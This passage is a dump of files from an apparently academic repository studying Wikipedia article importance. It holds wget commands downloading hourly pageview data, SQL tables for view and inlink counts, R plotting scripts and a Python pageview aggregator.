\"${directory}pagecounts-20140920-200000.gz\" &&\nwget \"${directory}pagecounts-20140920-210000.gz\" &&\nwget \"${directory}pagecounts-20140920-220000.gz\" &&\nwget \"${directory}pagecounts-20140920-230000.gz\" &&\nwget \"${directory}pagecounts-20140921-000000.gz\" &&\nwget \"${directory}pagecounts-20140921-010000.gz\" &&\nwget \"${directory}pagecounts-20140921-020000.gz\" &&\nwget \"${directory}pagecounts-20140921-030000.gz\" &&\nwget \"${directory}pagecounts-20140921-040000.gz\" &&\nwget \"${directory}pagecounts-20140921-050000.gz\" &&\nwget \"${directory}pagecounts-20140921-060000.gz\" &&\nwget \"${directory}pagecounts-20140921-070000.gz\" &&\nwget \"${directory}pagecounts-20140921-080000.gz\" &&\nwget \"${directory}pagecounts-20140921-090000.gz\" &&\nwget \"${directory}pagecounts-20140921-100000.gz\" &&\nwget \"${directory}pagecounts-20140921-110000.gz\" &&\nwget \"${directory}pagecounts-20140921-120000.gz\" &&\nwget \"${directory}pagecounts-20140921-130000.gz\" &&\nwget \"${directory}pagecounts-20140921-140000.gz\" &&\nwget \"${directory}pagecounts-20140921-150000.gz\" &&\nwget \"${directory}pagecounts-20140921-160000.gz\" &&\nwget \"${directory}pagecounts-20140921-170000.gz\" &&\nwget \"${directory}pagecounts-20140921-180000.gz\" &&\nwget \"${directory}pagecounts-20140921-190000.gz\" &&\nwget \"${directory}pagecounts-20140921-200000.gz\" &&\nwget \"${directory}pagecounts-20140921-210000.gz\" &&\nwget \"${directory}pagecounts-20140921-220000.gz\" &&\nwget \"${directory}pagecounts-20140921-230000.gz\" &&\nwget \"${directory}pagecounts-20140922-000000.gz\" &&\nwget \"${directory}pagecounts-20140922-010000.gz\" &&\nwget \"${directory}pagecounts-20140922-020000.gz\" &&\nwget \"${directory}pagecounts-20140922-030000.gz\" &&\nwget \"${directory}pagecounts-20140922-040000.gz\" &&\nwget \"${directory}pagecounts-20140922-050000.gz\" &&\nwget \"${directory}pagecounts-20140922-060000.gz\" &&\nwget \"${directory}pagecounts-20140922-070000.gz\" &&\nwget \"${directory}pagecounts-20140922-080000.gz\" &&\nwget \"${directory}pagecounts-20140922-090000.gz\" &&\nwget \"${directory}pagecounts-20140922-100000.gz\" &&\nwget \"${directory}pagecounts-20140922-110000.gz\" &&\nwget \"${directory}pagecounts-20140922-120000.gz\" &&\nwget \"${directory}pagecounts-20140922-130000.gz\" &&\nwget \"${directory}pagecounts-20140922-140000.gz\" &&\nwget \"${directory}pagecounts-20140922-150000.gz\" &&\nwget \"${directory}pagecounts-20140922-160000.gz\" &&\nwget \"${directory}pagecounts-20140922-170000.gz\" &&\nwget \"${directory}pagecounts-20140922-180000.gz\" &&\nwget \"${directory}pagecounts-20140922-190000.gz\" &&\nwget \"${directory}pagecounts-20140922-200000.gz\" &&\nwget \"${directory}pagecounts-20140922-210000.gz\" &&\nwget \"${directory}pagecounts-20140922-220000.gz\" &&\nwget \"${directory}pagecounts-20140922-230000.gz\" &&\nwget \"${directory}pagecounts-20140923-000000.gz\" &&\nwget \"${directory}pagecounts-20140923-010000.gz\" &&\nwget \"${directory}pagecounts-20140923-020000.gz\" &&\nwget \"${directory}pagecounts-20140923-030000.gz\" &&\nwget \"${directory}pagecounts-20140923-040000.gz\" &&\nwget \"${directory}pagecounts-20140923-050000.gz\" &&\nwget \"${directory}pagecounts-20140923-060000.gz\" &&\nwget \"${directory}pagecounts-20140923-070000.gz\" &&\nwget \"${directory}pagecounts-20140923-080000.gz\" &&\nwget \"${directory}pagecounts-20140923-090000.gz\" &&\nwget \"${directory}pagecounts-20140923-100000.gz\" &&\nwget \"${directory}pagecounts-20140923-110000.gz\" &&\nwget \"${directory}pagecounts-20140923-120000.gz\" &&\nwget \"${directory}pagecounts-20140923-130000.gz\" &&\nwget \"${directory}pagecounts-20140923-140000.gz\" &&\nwget \"${directory}pagecounts-20140923-150000.gz\" &&\nwget \"${directory}pagecounts-20140923-160000.gz\" &&\nwget \"${directory}pagecounts-20140923-170000.gz\" &&\nwget \"${directory}pagecounts-20140923-180000.gz\" &&\nwget \"${directory}pagecounts-20140923-190000.gz\" &&\nwget \"${directory}pagecounts-20140923-200000.gz\" &&\nwget \"${directory}pagecounts-20140923-210000.gz\" &&\nwget \"${directory}pagecounts-20140923-220000.gz\" &&\nwget \"${directory}pagecounts-20140923-230000.gz\" &&\nwget \"${directory}pagecounts-20140924-000000.gz\" &&\nwget \"${directory}pagecounts-20140924-010000.gz\" &&\nwget \"${directory}pagecounts-20140924-020000.gz\" &&\nwget \"${directory}pagecounts-20140924-030000.gz\" &&\nwget \"${directory}pagecounts-20140924-040000.gz\" &&\nwget \"${directory}pagecounts-20140924-050000.gz\" &&\nwget \"${directory}pagecounts-20140924-060000.gz\" &&\nwget \"${directory}pagecounts-20140924-070000.gz\" &&\nwget \"${directory}pagecounts-20140924-080000.gz\" &&\nwget \"${directory}pagecounts-20140924-090000.gz\" &&\nwget \"${directory}pagecounts-20140924-100000.gz\" &&\nwget \"${directory}pagecounts-20140924-110000.gz\" &&\nwget \"${directory}pagecounts-20140924-120000.gz\" &&\nwget \"${directory}pagecounts-20140924-130000.gz\" &&\nwget \"${directory}pagecounts-20140924-140000.gz\" &&\nwget \"${directory}pagecounts-20140924-150000.gz\" &&\nwget \"${directory}pagecounts-20140924-160000.gz\" &&\nwget \"${directory}pagecounts-20140924-170000.gz\" &&\nwget \"${directory}pagecounts-20140924-180000.gz\" &&\nwget \"${directory}pagecounts-20140924-190000.gz\" &&\nwget \"${directory}pagecounts-20140924-200000.gz\" &&\nwget \"${directory}pagecounts-20140924-210000.gz\" &&\nwget \"${directory}pagecounts-20140924-220000.gz\" &&\nwget \"${directory}pagecounts-20140924-230000.gz\" &&\nwget \"${directory}pagecounts-20140925-000000.gz\" &&\nwget \"${directory}pagecounts-20140925-010000.gz\" &&\nwget \"${directory}pagecounts-20140925-020000.gz\" &&\nwget \"${directory}pagecounts-20140925-030000.gz\" &&\nwget \"${directory}pagecounts-20140925-040000.gz\" &&\nwget \"${directory}pagecounts-20140925-050000.gz\" &&\nwget \"${directory}pagecounts-20140925-060000.gz\" &&\nwget \"${directory}pagecounts-20140925-070000.gz\" &&\nwget \"${directory}pagecounts-20140925-080000.gz\" &&\nwget \"${directory}pagecounts-20140925-090000.gz\" &&\nwget \"${directory}pagecounts-20140925-100000.gz\" &&\nwget \"${directory}pagecounts-20140925-110000.gz\" &&\nwget \"${directory}pagecounts-20140925-120000.gz\" &&\nwget \"${directory}pagecounts-20140925-130000.gz\" &&\nwget \"${directory}pagecounts-20140925-140000.gz\" &&\nwget \"${directory}pagecounts-20140925-150000.gz\" &&\nwget \"${directory}pagecounts-20140925-160000.gz\" &&\nwget \"${directory}pagecounts-20140925-170000.gz\" &&\nwget \"${directory}pagecounts-20140925-180000.gz\" &&\nwget \"${directory}pagecounts-20140925-190000.gz\" &&\nwget \"${directory}pagecounts-20140925-200000.gz\" &&\nwget \"${directory}pagecounts-20140925-210000.gz\" &&\nwget \"${directory}pagecounts-20140925-220000.gz\" &&\nwget \"${directory}pagecounts-20140925-230000.gz\" &&\nwget \"${directory}pagecounts-20140926-000000.gz\" &&\nwget \"${directory}pagecounts-20140926-010000.gz\" &&\nwget \"${directory}pagecounts-20140926-020000.gz\" &&\nwget \"${directory}pagecounts-20140926-030000.gz\" &&\nwget \"${directory}pagecounts-20140926-040000.gz\" &&\nwget \"${directory}pagecounts-20140926-050000.gz\" &&\nwget \"${directory}pagecounts-20140926-060000.gz\" &&\nwget \"${directory}pagecounts-20140926-070000.gz\" &&\nwget \"${directory}pagecounts-20140926-080000.gz\" &&\nwget \"${directory}pagecounts-20140926-090000.gz\" &&\nwget \"${directory}pagecounts-20140926-100000.gz\" &&\nwget \"${directory}pagecounts-20140926-110000.gz\" &&\nwget \"${directory}pagecounts-20140926-120000.gz\" &&\nwget \"${directory}pagecounts-20140926-130000.gz\" &&\nwget \"${directory}pagecounts-20140926-140000.gz\" &&\nwget \"${directory}pagecounts-20140926-150000.gz\" &&\nwget \"${directory}pagecounts-20140926-160000.gz\" &&\nwget \"${directory}pagecounts-20140926-170000.gz\" &&\nwget \"${directory}pagecounts-20140926-180000.gz\" &&\nwget \"${directory}pagecounts-20140926-190000.gz\" &&\nwget \"${directory}pagecounts-20140926-200000.gz\" &&\nwget \"${directory}pagecounts-20140926-210000.gz\" &&\nwget \"${directory}pagecounts-20140926-220000.gz\" &&\nwget \"${directory}pagecounts-20140926-230000.gz\" &&\nwget \"${directory}pagecounts-20140927-000000.gz\" &&\nwget \"${directory}pagecounts-20140927-010000.gz\" &&\nwget \"${directory}pagecounts-20140927-020000.gz\" &&\nwget \"${directory}pagecounts-20140927-030000.gz\" &&\nwget \"${directory}pagecounts-20140927-040000.gz\" &&\nwget \"${directory}pagecounts-20140927-050000.gz\" &&\nwget \"${directory}pagecounts-20140927-060000.gz\" &&\nwget \"${directory}pagecounts-20140927-070000.gz\" &&\nwget \"${directory}pagecounts-20140927-080000.gz\" &&\nwget \"${directory}pagecounts-20140927-090000.gz\" &&\nwget \"${directory}pagecounts-20140927-100000.gz\" &&\nwget \"${directory}pagecounts-20140927-110000.gz\" &&\nwget \"${directory}pagecounts-20140927-120000.gz\" &&\nwget \"${directory}pagecounts-20140927-130000.gz\" &&\nwget \"${directory}pagecounts-20140927-140000.gz\" &&\nwget \"${directory}pagecounts-20140927-150000.gz\" &&\nwget \"${directory}pagecounts-20140927-160000.gz\" &&\nwget \"${directory}pagecounts-20140927-170000.gz\" &&\nwget \"${directory}pagecounts-20140927-180000.gz\" &&\nwget \"${directory}pagecounts-20140927-190000.gz\" &&\nwget \"${directory}pagecounts-20140927-200000.gz\" &&\nwget \"${directory}pagecounts-20140927-210000.gz\" &&\nwget \"${directory}pagecounts-20140927-220000.gz\" &&\nwget \"${directory}pagecounts-20140927-230000.gz\" &&\nwget \"${directory}pagecounts-20140928-000000.gz\" &&\nwget \"${directory}pagecounts-20140928-010000.gz\" &&\nwget \"${directory}pagecounts-20140928-020000.gz\" &&\nwget \"${directory}pagecounts-20140928-030000.gz\" &&\nwget \"${directory}pagecounts-20140928-040000.gz\" &&\nwget \"${directory}pagecounts-20140928-050000.gz\" &&\nwget \"${directory}pagecounts-20140928-060000.gz\" &&\nwget \"${directory}pagecounts-20140928-070000.gz\" &&\nwget \"${directory}pagecounts-20140928-080000.gz\" &&\nwget \"${directory}pagecounts-20140928-090000.gz\" &&\nwget \"${directory}pagecounts-20140928-100000.gz\" &&\nwget \"${directory}pagecounts-20140928-110000.gz\" &&\nwget \"${directory}pagecounts-20140928-120000.gz\" &&\nwget \"${directory}pagecounts-20140928-130000.gz\" &&\nwget \"${directory}pagecounts-20140928-140000.gz\" &&\nwget \"${directory}pagecounts-20140928-150000.gz\" &&\nwget \"${directory}pagecounts-20140928-160000.gz\" &&\nwget \"${directory}pagecounts-20140928-170000.gz\" &&\nwget \"${directory}pagecounts-20140928-180000.gz\" &&\nwget \"${directory}pagecounts-20140928-190000.gz\" &&\nwget \"${directory}pagecounts-20140928-200000.gz\" &&\nwget \"${directory}pagecounts-20140928-210000.gz\" &&\nwget \"${directory}pagecounts-20140928-220000.gz\" &&\nwget \"${directory}pagecounts-20140928-230000.gz\" &&\nwget \"${directory}pagecounts-20140929-000000.gz\" &&\nwget \"${directory}pagecounts-20140929-010000.gz\" &&\nwget \"${directory}pagecounts-20140929-020000.gz\" &&\nwget \"${directory}pagecounts-20140929-030000.gz\" &&\nwget \"${directory}pagecounts-20140929-040000.gz\" &&\nwget \"${directory}pagecounts-20140929-050000.gz\" &&\nwget \"${directory}pagecounts-20140929-060000.gz\" &&\nwget \"${directory}pagecounts-20140929-070000.gz\" &&\nwget \"${directory}pagecounts-20140929-080000.gz\" &&\nwget \"${directory}pagecounts-20140929-090000.gz\" &&\nwget \"${directory}pagecounts-20140929-100000.gz\" &&\nwget \"${directory}pagecounts-20140929-110000.gz\" &&\nwget \"${directory}pagecounts-20140929-120000.gz\" &&\nwget \"${directory}pagecounts-20140929-130000.gz\" &&\nwget \"${directory}pagecounts-20140929-140000.gz\" &&\nwget \"${directory}pagecounts-20140929-150000.gz\" &&\nwget \"${directory}pagecounts-20140929-160000.gz\" &&\nwget \"${directory}pagecounts-20140929-170000.gz\" &&\nwget \"${directory}pagecounts-20140929-180001.gz\" &&\nwget \"${directory}pagecounts-20140929-190000.gz\" &&\nwget \"${directory}pagecounts-20140929-200000.gz\" &&\nwget \"${directory}pagecounts-20140929-210000.gz\" &&\nwget \"${directory}pagecounts-20140929-220000.gz\" &&\nwget \"${directory}pagecounts-20140929-230000.gz\" &&\nwget \"${directory}pagecounts-20140930-000000.gz\" &&\nwget \"${directory}pagecounts-20140930-010000.gz\" &&\nwget \"${directory}pagecounts-20140930-020000.gz\" &&\nwget \"${directory}pagecounts-20140930-030000.gz\" &&\nwget \"${directory}pagecounts-20140930-040000.gz\" &&\nwget \"${directory}pagecounts-20140930-050000.gz\" &&\nwget \"${directory}pagecounts-20140930-060000.gz\" &&\nwget \"${directory}pagecounts-20140930-070000.gz\" &&\nwget \"${directory}pagecounts-20140930-080000.gz\" &&\nwget \"${directory}pagecounts-20140930-090000.gz\" &&\nwget \"${directory}pagecounts-20140930-100000.gz\" &&\nwget \"${directory}pagecounts-20140930-110000.gz\" &&\nwget \"${directory}pagecounts-20140930-120000.gz\" &&\nwget \"${directory}pagecounts-20140930-130000.gz\" &&\nwget \"${directory}pagecounts-20140930-140000.gz\" &&\nwget \"${directory}pagecounts-20140930-150000.gz\" &&\nwget \"${directory}pagecounts-20140930-160000.gz\" &&\nwget \"${directory}pagecounts-20140930-170000.gz\" &&\nwget \"${directory}pagecounts-20140930-180000.gz\" &&\nwget \"${directory}pagecounts-20140930-190000.gz\" &&\nwget \"${directory}pagecounts-20140930-200000.gz\" &&\nwget \"${directory}pagecounts-20140930-210000.gz\" &&\nwget \"${directory}pagecounts-20140930-220000.gz\" &&\nwget \"${directory}pagecounts-20140930-230000.gz\";\n" }, { "alpha_fraction": 0.5987526178359985, "alphanum_fraction": 0.6153846383094788, "avg_line_length": 39.08333206176758, "blob_id": "20ae51c46daac1aea6bef81757125bab11cad884", "content_id": "3ba0d3b9901cdf3ad0b1982565364f07e20517a6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 481, "license_type": "permissive", "max_line_length": 69, "num_lines": 12, "path": "/sql/tables/quality_classification.create.sql", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "CREATE TABLE IF NOT EXISTS staging.quality_classification (\n page_id INT UNSIGNED,\n page_namespace INT,\n page_title VARBINARY(255),\n category VARBINARY(255),\n cl_type ENUM('page','subcat','file'),\n last_update VARBINARY(14),\n quality_class ENUM('FA', 'A', 'GA', 'B', 'C', 'Start', 'Stub'),\n PRIMARY KEY(page_id, category),\n KEY(last_update, quality_class)\n);\nSELECT NOW(), COUNT(*) FROM staging.quality_classification;\n" }, { "alpha_fraction": 0.5953159332275391, "alphanum_fraction": 0.6125635504722595, "avg_line_length": 20.600000381469727, "blob_id": "cf4a28d3b3ec11d4427fcf2f535647ad34406593", "content_id": "6739d1b286b45b37fbcb4e6dbfc5ec002c8c84c9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 5508, "license_type": "permissive", "max_line_length": 94, "num_lines": 255, "path": "/R/comparisons/exploration.R", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "source(\"loader/article_stats.R\")\n\narticle_stats = load_article_stats()\narticle_stats$standardized_importance = convert.factor(\n round(article_stats$mean_importance),\n list(\n \"1\" = \"Top\",\n \"2\" = \"High\",\n \"3\" = \"Mid\",\n \"4\" = \"Low\",\n \"5\" = \"Unknown\"\n )\n)\n\n\nsvg(\"comparisons/plots/view_rate_density.by_wikiproject_importance.gt_zero.svg\",\n height=5,\n width=7)\nggplot(\n article_stats[views > 0,],\n aes(\n x=views,\n group=standardized_importance,\n fill=standardized_importance\n )\n) +\ngeom_density(alpha=0.3) +\ngeom_vline(\n data=article_stats[views>0,\n list(median = median(views+1)),\n standardized_importance\n ],\n aes(\n xintercept=median,\n color=standardized_importance\n ),\n) +\ntheme_bw() +\nscale_x_log10(\"Views\") +\nscale_fill_discrete(\"Importance\") +\nscale_color_discrete(\"Importance\")\ndev.off()\n\nsvg(\"comparisons/plots/view_rate_density.by_wikiproject_importance.svg\",\n height=5,\n width=7)\nggplot(\n article_stats,\n aes(\n x=views+1,\n group=standardized_importance,\n fill=standardized_importance\n )\n) +\ngeom_density(alpha=0.3) +\ngeom_vline(\n data=article_stats[,\n list(median = median(views+1)),\n standardized_importance\n ],\n aes(\n xintercept=median,\n color=standardized_importance\n )\n) +\ntheme_bw() +\nscale_x_log10(\"Views\") +\nscale_fill_discrete(\"Importance\") +\nscale_color_discrete(\"Importance\")\ndev.off()\n\nsvg(\"comparisons/plots/organic_inlink_density.by_wikiproject_importance.svg\",\n height=5,\n width=7)\nggplot(\n article_stats[organic_inlinks > 0,],\n aes(\n x=organic_inlinks+1,\n group=standardized_importance,\n fill=standardized_importance\n )\n) +\ngeom_density(alpha=0.3) +\ngeom_vline(\n data=article_stats[organic_inlinks > 0,\n list(\n median = round(median(organic_inlinks))\n ),\n standardized_importance\n ],\n aes(\n xintercept=median,\n color=standardized_importance\n )\n) +\ntheme_bw() +\nscale_x_log10(\"Organic inlinks\") +\nscale_fill_discrete(\"Importance\") +\nscale_color_discrete(\"Importance\")\ndev.off()\n\nsvg(\"comparisons/plots/inlink_density.by_wikiproject_importance.svg\",\n height=5,\n width=7)\nggplot(\n article_stats,\n aes(\n x=inlinks+1,\n group=standardized_importance,\n fill=standardized_importance\n )\n) +\ngeom_density(alpha=0.3) +\ngeom_vline(\n data=article_stats[,\n list(median = median(inlinks+1)),\n standardized_importance\n ],\n aes(\n xintercept=median,\n color=standardized_importance\n )\n) +\ntheme_bw() +\nscale_x_log10(\"Inlinks\") +\nscale_fill_discrete(\"Importance\") +\nscale_color_discrete(\"Importance\")\ndev.off()\n\n\n\nsvg(\"comparisons/plots/inlink_and_view_density.by_wikiproject_importance.lattice.svg\",\n height=4,\n width=12)\nggplot(\n article_stats[sample(1:nrow(article_stats), 500000),],\n aes(\n x=inlinks+1,\n y=views+1,\n group=standardized_importance,\n )\n) +\nfacet_wrap(~ standardized_importance, nrow=1) +\nstat_density2d(\n aes(\n alpha=(..level..)+.2,\n fill=standardized_importance\n ),\n geom=\"polygon\"\n) +\ngeom_point(\n data=article_stats[,\n list(\n median.inlinks = median(inlinks+1),\n median.views = median(views+1)\n ),\n standardized_importance\n ],\n aes(\n x=median.inlinks,\n y=median.views,\n color=standardized_importance\n )\n) +\ntheme_bw() +\nscale_x_log10(\"Inlinks\") +\nscale_y_log10(\"Views\") +\nscale_fill_discrete(\"Importance\") +\nscale_color_discrete(\"Importance\") +\nscale_alpha_continuous(guide = F)\ndev.off()\n\n\n\n\n\nsvg(\"comparisons/plots/organic_inlink_and_view_density.by_wikiproject_importance.lattice.svg\",\n height=4,\n width=12)\nggplot(\n article_stats[organic_inlinks > 0,],\n aes(\n x=organic_inlinks+1,\n y=views+1,\n group=standardized_importance,\n )\n) +\nfacet_wrap(~ standardized_importance, nrow=1) +\nstat_density2d(\n aes(\n alpha=(..level..)+.2,\n fill=standardized_importance\n ),\n geom=\"polygon\"\n) +\ngeom_point(\n data=article_stats[organic_inlinks > 0,\n list(\n median.inlinks = median(organic_inlinks+1),\n median.views = median(views+1)\n ),\n standardized_importance\n ],\n aes(\n x=median.inlinks,\n y=median.views\n )\n) +\ntheme_bw() +\nscale_x_log10(\"Inlinks\") +\nscale_y_log10(\"Views\") +\nscale_fill_discrete(\"Importance\") +\nscale_color_discrete(\"Importance\") +\nscale_alpha_continuous(guide = F)\ndev.off()\n\nsvg(\"comparisons/plots/inlink_and_view_density.by_wikiproject_importance.svg\",\n height=5,\n width=7)\nggplot(\n article_stats[sample(1:nrow(article_stats), 500000),],\n aes(\n x=inlinks+1,\n y=views+1,\n group=standardized_importance,\n )\n) +\nstat_density2d(\n aes(\n alpha=(..level..)+.2,\n fill=standardized_importance\n ),\n geom=\"polygon\"\n) +\ngeom_point(\n data=article_stats[,\n list(\n median.inlinks = median(inlinks+1),\n median.views = median(views+1)\n ),\n standardized_importance\n ],\n aes(\n x=median.inlinks,\n y=median.views,\n color=standardized_importance\n )\n) +\ntheme_bw() +\nscale_x_log10(\"Inlinks\") +\nscale_y_log10(\"Views\") +\nscale_fill_discrete(\"Importance\") +\nscale_color_discrete(\"Importance\") +\nscale_alpha_continuous(guide = F)\ndev.off()\n" }, { "alpha_fraction": 0.5482866168022156, "alphanum_fraction": 0.5482866168022156, "avg_line_length": 34.66666793823242, "blob_id": "0d3cd214d85486b008c0ce5ea60ebb57597c5e52", "content_id": "09c1e32589ca94fc63ecb8648071bc48994f823c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 321, "license_type": "permissive", "max_line_length": 56, "num_lines": 9, "path": "/sql/tables/resolved_view_count.create.sql", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "CREATE TABLE IF NOT EXISTS staging.resolved_view_count (\n page_id INT UNSIGNED,\n views INT,\n direct_views INT,\n views_from_redirects INT,\n redirects INT,\n PRIMARY KEY(page_id)\n);\nSELECT NOW(), COUNT(*) FROM staging.resolved_view_count;\n" }, { "alpha_fraction": 0.6394557952880859, "alphanum_fraction": 0.6394557952880859, "avg_line_length": 20, "blob_id": "07f34b4438bf7b39ab5ca93f4b20cc10259ec417", "content_id": "cd299fe32dfb511ccf006caf6f2a39a16d747336", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 147, "license_type": "permissive", "max_line_length": 57, "num_lines": 7, "path": "/R/loader/article_stats.R", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "source(\"util.R\")\nsource(\"env.R\")\n\nload_article_stats = tsv_loader(\n paste(DATA_DIR, \"article_stats.sample.tsv\", sep=\"/\"),\n \"ARTICLE_STATS\"\n)\n" }, { "alpha_fraction": 0.7699275612831116, "alphanum_fraction": 0.77173912525177, "avg_line_length": 32.45454406738281, "blob_id": "c22bb8bb64e50c6c3ced5afbf133358d927443a5", "content_id": "71329563130b484f69dbd85155b1cfcb8e089df5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 1104, "license_type": "permissive", "max_line_length": 72, "num_lines": 33, "path": "/sql/tables/organic_inlink_count.create_load.sql", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "CREATE TEMPORARY TABLE staging.proto_organic_inlink_count\nSELECT\n to_namespace AS page_namespace,\n to_title AS page_title,\n COUNT(from_id) AS inlinks\nFROM staging.organic_link\nGROUP BY page_namespace, page_title;\n\nCREATE UNIQUE INDEX namespace_title\nON staging.proto_organic_inlink_count (page_namespace, page_title);\n\nDROP TABLE IF EXISTS staging.organic_inlink_count;\nCREATE TABLE staging.organic_inlink_count\nSELECT\n page.page_id,\n IFNULL(inlink_count.inlinks, 0) AS inlinks,\n redirect.page_id AS redirect_id\nFROM page\nLEFT JOIN staging.proto_organic_inlink_count inlink_count USING\n (page_namespace, page_title)\nLEFT JOIN redirect redirectlink ON\n page_is_redirect AND\n redirectlink.rd_from = page_id\nLEFT JOIN page redirect ON\n redirect.page_title = redirectlink.rd_title AND\n redirect.page_namespace = redirectlink.rd_namespace\nWHERE page.page_namespace = 0;\n\nCREATE UNIQUE INDEX page_idx ON staging.organic_inlink_count (page_id);\n\nCREATE INDEX redirect_idx ON staging.organic_inlink_count (redirect_id);\n\nSELECT COUNT(*), NOW() FROM staging.organic_inlink_count;\n" }, { "alpha_fraction": 0.5768675804138184, "alphanum_fraction": 0.5785982012748718, "avg_line_length": 28.88793182373047, "blob_id": "535d09402c99a2213b69ea6795952a30a93595ef", "content_id": "31e7325d255a79e34aefaa45e3d586104702ba78", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3467, "license_type": "permissive", "max_line_length": 78, "num_lines": 116, "path": "/importance/sum_pageviews.py", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "\"\"\"\nSums page view counts from hourly data.\n\nUsage:\n sum_pageviews (-h|--help)\n sum_pageviews <path>... --api=<uri> --projects=<names>\n \nOptions:\n -h|--help Shows this documentation\n <path>... A set of hourly pageview files to process\n --projects=<names> A list of \"|\" delimited project identifiers to match\n in the hourly view logs (e.g. \"en|en.mw\")\n --api=<uri> The URI for accessing the relevant MediaWiki instance\n for processing namespaces and titles\n\"\"\"\nimport gzip\nimport heapq\nimport sys\nimport urllib.parse\nfrom collections import namedtuple\nfrom itertools import groupby\n\nimport docopt\nimport mw.api\nimport mw.lib.title\n\nfrom more_itertools import peekable\n\n\ndef sequence(*iterables, key=lambda i:i):\n \n # Prepare the iterable queue\n nextq = []\n for i, iterable in enumerate(iterables):\n iterable = peekable(iterable)\n try:\n heapq.heappush(nextq, ((iterable.peek(), i), iterable))\n except StopIteration:\n # Na. We're cool\n pass\n \n while len(nextq) > 0:\n (_, i), iterable = heapq.heappop(nextq)\n \n yield next(iterable)\n \n try:\n heapq.heappush(nextq, ((iterable.peek(), i), iterable))\n except:\n # Again, we're cool.\n pass\n \n \n\nHourViews = namedtuple(\"HourViews\", ['project', 'page_name', 'views',\n 'bytes_returned'])\n\n\n\ndef open_hour_file(path, projects):\n \n with gzip.open(path, mode=\"rt\", encoding=\"utf-8\", errors=\"replace\") as f:\n yield from read_hour_file(f, projects)\n\ndef read_hour_file(f, projects):\n projects = set(projects)\n for line in f:\n project, page_name, views, bytes = line.strip().split(\" \")\n page_name = page_name.split(\"#\")[0] # Remove anchors\n hourviews = HourViews(project, page_name, int(views),\n int(bytes))\n \n if hourviews.project in projects:\n yield hourviews\n\ndef sequence_hour_files(hour_files):\n return sequence(*hour_files, key=lambda h:h.page_name)\n\ndef group_page_hours(sequenced_hours):\n return groupby(sequenced_hours, key=lambda h:h.page_name)\n\ndef main():\n args = docopt.docopt(__doc__)\n \n run(args['<path>'],\n [p.strip() for p in (args['--projects'] or \"\").split(\",\")],\n args['--api'])\n \ndef encode(val):\n return val.replace(\"\\t\", \"\\\\t\").replace(\"\\n\", \"\\\\n\")\n \n\ndef run(paths, projects, api_uri):\n \n sys.stderr.write(\"Building title parser from the API.\\n\")\n sys.stderr.flush()\n api = mw.api.Session(api_uri)\n title_parser = mw.lib.title.Parser.from_api(api)\n \n sys.stderr.write(\"Setting up hour file readers.\\n\")\n sys.stderr.flush()\n \n hour_files = [open_hour_file(path, projects) for path in paths]\n page_groups = group_page_hours(sequence_hour_files(hour_files))\n \n sys.stderr.write(\"Starting main loop.\\n\")\n sys.stderr.flush()\n for page_name, hours in page_groups:\n sys.stderr.write(\".\")\n page_name = urllib.parse.unquote(page_name) # Decodes %xx url encoding\n # sequencese.\n namespace, title = title_parser.parse(page_name)\n \n views = sum(h.views for h in hours)\n \n print(\"{0}\\t{1}\\t{2}\".format(namespace, encode(title), views))\n" }, { "alpha_fraction": 0.6539278030395508, "alphanum_fraction": 0.6730360984802246, "avg_line_length": 25.11111068725586, "blob_id": "a24a87e6e6eb2fbd41b2f00e5aa8e5cf7660bdfb", "content_id": "1f1fde651afaaa17e01ad2f5e4049ecf34a9211f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 471, "license_type": "permissive", "max_line_length": 39, "num_lines": 18, "path": "/sql/tables/article_stats.create.sql", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "CREATE TABLE staging.article_stats (\n page_id INT,\n page_title VARBINARY(255),\n max_importance VARCHAR(50),\n min_importance VARCHAR(50),\n mean_importance VARCHAR(50),\n inlinks INT,\n direct_inlinks INT,\n inlinks_from_redirects INT,\n organic_inlinks INT,\n organic_direct_inlinks INT,\n organic_inlinks_from_redirects INT,\n views INT,\n direct_views INT,\n views_from_redirects INT,\n PRIMARY KEY (page_id),\n KEY (page_title)\n);\n\n" }, { "alpha_fraction": 0.7142857313156128, "alphanum_fraction": 0.7142857313156128, "avg_line_length": 16.5, "blob_id": "1e9db46bd597ad5eb3adfea801f17ca0e35aca05", "content_id": "d22bd14dc917a4fe741f630af22e4772f91714c4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 175, "license_type": "permissive", "max_line_length": 57, "num_lines": 10, "path": "/importance/download_pageviews.py", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "\"\"\"\nDownloads hourly pageview files for a directory.\n\nUsage:\n download_pageviews <web directory> <output directory>\n\"\"\"\nimport docopt\n\ndef main():\n args = docopt.docopt\n" }, { "alpha_fraction": 0.7558746933937073, "alphanum_fraction": 0.7584856152534485, "avg_line_length": 29.639999389648438, "blob_id": "ae55616d37ff48187365c4fc2e545c3bd92af80c", "content_id": "c01ed09b8e1125aa61bc92f079c129e09713c553", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 766, "license_type": "permissive", "max_line_length": 59, "num_lines": 25, "path": "/sql/inlink_count.sql", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "CREATE TEMPORARY TABLE staging.proto_inlink_count\nSELECT\n pl_namespace AS page_namespace,\n pl_title AS page_title,\n COUNT(pl_from) AS inlinks\nFROM pagelinks\nGROUP BY pl_namespace, 